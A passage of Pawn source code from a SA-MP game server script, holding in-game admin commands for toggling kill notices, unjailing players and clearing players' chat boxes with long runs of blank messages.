			new sttrr[118];
		   format(sttrr,256,"{FFFFFF}Admin %s disabled the nofind for %s", PINFO[playerid][pName], PINFO[tarafe][pName]);
		   AdminWarn(sttrr);
			}
		return 1;
		}
		if(!strcmp(cmd, "/whokill", true))
		{
			if(WhoKill[playerid] == 0)
			{
				WhoKill[playerid] = 1;
				SCM(playerid,COLOR_WHITE,"WhoKill: {00FF00}Enabled.");
				PlayerPlaySound(playerid, 1149, 0.0, 0.0, 0.0);
			}
			else if(WhoKill[playerid] == 1)
			{
			WhoKill[playerid] = 0;
			SCM(playerid,COLOR_WHITE,"WhoKill: {FF0000}Disabled.");
			PlayerPlaySound(playerid, 1149, 0.0, 0.0, 0.0);

			}
		return 1;
		}
		if(!strcmp(cmd, "/unjail", true))
		{
			if(PlayerInfo[playerid][pAdmin] >= 6 || PlayerInfo[playerid][pSponser] == 1)
			{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /unjail <Playerid/PartOfName>");
				new player1, string[128];
				player1 = ReturnUser6(tmp);
				if(IsPlayerConnected(player1) && player1 != INVALID_PLAYER_ID)
				{
				if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(player1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[player1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
					if(PlayerInfo[player1][pJailTime] >= 1)
					{
						format(string,sizeof(string),"Admin %s has unjailed you.",PINFO[playerid][pName]);
						SCM(player1,COLOR_GG,string);
						format(string,sizeof(string),"You have unjailed %s",PINFO[player1][pName]);
						SCM(playerid,COLOR_GG,string);
						format(string,sizeof string,"{FFFFFF}%s was unjailed by admin %s",PINFO[player1][pName],PINFO[playerid][pName]);
						AdminWarn(string);
						PlayerInfo[player1][pJailTime] = 1;//Nemikhad save she
						Mahal[player1] = 9999;
						TooHouse[player1] = 9999;
						TooBiz[player1] = 9999;

					} else return SendMessage(playerid, COL_SYN, "Player is not in jail.");
				} else return PlayerNotConnected(playerid);
			} else return ErrorMessage1(playerid);
			return 1;
		}
		/*
		if(strcmp(cmd, "/myunjail", true) == 0 || strcmp(cmd, "/unjailme", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 6)
			{
				new string[128];
					if(PlayerInfo[playerid][pJailTime] >= 1)
					{
						format(string,sizeof string,"{FFFFFF}Admin %s Unjailed Him/Her self.",PINFO[playerid][pName]);
						AdminWarn(string);
						PlayerInfo[playerid][pJailTime] = 1;//Nemikhad save she
						Mahal[playerid] = 9999;
						TooHouse[playerid] = 9999;
						TooBiz[playerid] = 9999;

					} else return SendMessage(playerid, COL_SYN, "you are not in jail.");
			} else return ErrorMessage1(playerid);
			return 1;
		}
		*/
		
		
			if(!strcmp(cmd, "/ccd", true))
	{
	   if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /ccd <Distance(FLOAT)>");
	   new Float:dis = floatstr(tmp);
	   if(dis >= 501) return SCM(playerid, COLOR_YELLOW2, "Error: You cannot clear players chatbox in more than 500 distance.");
	   if(dis > 0.0)
	   {
		  for(new i = 0;i<Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && i != playerid && PINFO[i][pAdmin] == 0)
			 {
				if(ProxDetectorS(dis, playerid, i))
				{
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
				}
			 }
		  }
		  new lolstr[144];
		  format(lolstr, 144, "{FFFFFF}Admin %s was cleared all players chatbox in %.2f distance", PINFO[playerid][pName], dis);
		  AdminWarn(lolstr);
	   }
	   else return SCM(playerid, COLOR_YELLOW2, "Error: You cannot clear players chatbox in fewer than 0 distance.");
	   return 1;
	}
		
		
		
		
			if(!strcmp(cmd,"/ccp",true))
	{
		if(PlayerInfo[playerid][pAdmin]<1)return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
		tmp = strtok(cmdtext, idx);
		if(isnull(tmp))return SCM(playerid,COL_SYN,"Syntax: /ccp <PlayerID/PartOfName>");
		new id=ReturnUser6(tmp);
		if(!IsPlayerConnected(id)) return SCM(playerid,COLOR_YELLOW2,"Error: That player is not connected.");
        if(PlayerInfo[playerid][pAdmin]<12 && PINFO[id][pAdmin] >= 1)return SCM(playerid,COLOR_YELLOW2,"Error: You cannot delete an admin chatbox.");
        if(PINFO[playerid][pAdmin]>12&&PINFO[playerid][pAdmin]<PINFO[id][pAdmin])return SEM(playerid, "You can't use this command for your higher ranks people.");
        if(id == playerid)return SCM(playerid,COLOR_YELLOW2,"Error: You cannot delete yourself chatbox.");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
	    SendClientMessage(id, COLOR_SINA2, " ");
        SendClientMessage(id, COLOR_SINA2, " ");
		new sinabokhorazina[144];
		format(sinabokhorazina,144,"{FFFFFF}Admin %s was cleared %s's chatbox",PINFO[playerid][pName], PINFO[id][pName]);
		AdminWarn(sinabokhorazina);
		return 1;
	}
		
		
		
		if(strcmp(cmd, "/cca", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 1)
			{
					new length = strlen(cmdtext);
			while ((idx < length) && (cmdtext[idx] <= ' '))
			{
			   idx++;
			}
			new offset = idx;
		  new result[144];
			while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
			{
			  result[idx - offset] = cmdtext[idx];
			  idx++;
			}
			result[idx - offset] = EOS;
			if(!strlen(result))
			{
				 for(new i = 0; i < Akharish; i++)
				 {
				if(PINFO[i][pAdmin] == 0)
				{
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
